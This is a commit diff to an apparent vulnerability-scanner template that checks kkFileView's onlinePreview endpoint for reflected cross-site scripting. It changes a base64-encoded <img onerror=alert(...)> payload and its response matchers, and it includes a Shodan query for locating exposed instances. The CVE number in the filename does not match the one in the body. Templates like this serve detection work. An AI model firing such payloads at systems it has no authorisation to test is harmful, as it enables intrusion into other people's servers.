Update CVE-2022-40879.yaml

cves/2022/CVE-2022-40879.yaml

@@ -15,20 +15,23 @@ info:
     cve-id: CVE-2022-29349
     cwe-id: CWE-79
   metadata:
-    shodan-query: http.html:"kkFileView"
     verified: true
+    shodan-query: http.html:"kkFileView"
   tags: cve,cve2022,kkFileView,xss
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydCgxKT49PQ=="
+      - "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="
 
     matchers-condition: and
     matchers:
       - type: word
+        part: body
         words:
-          - '<img src=1 onerror=alert(1)>'
+          - '<img src=1 onerror=alert(document.domain)>=PQ</p>'
+          - '该文件不'
+        condition: and
 
       - type: word
         part: header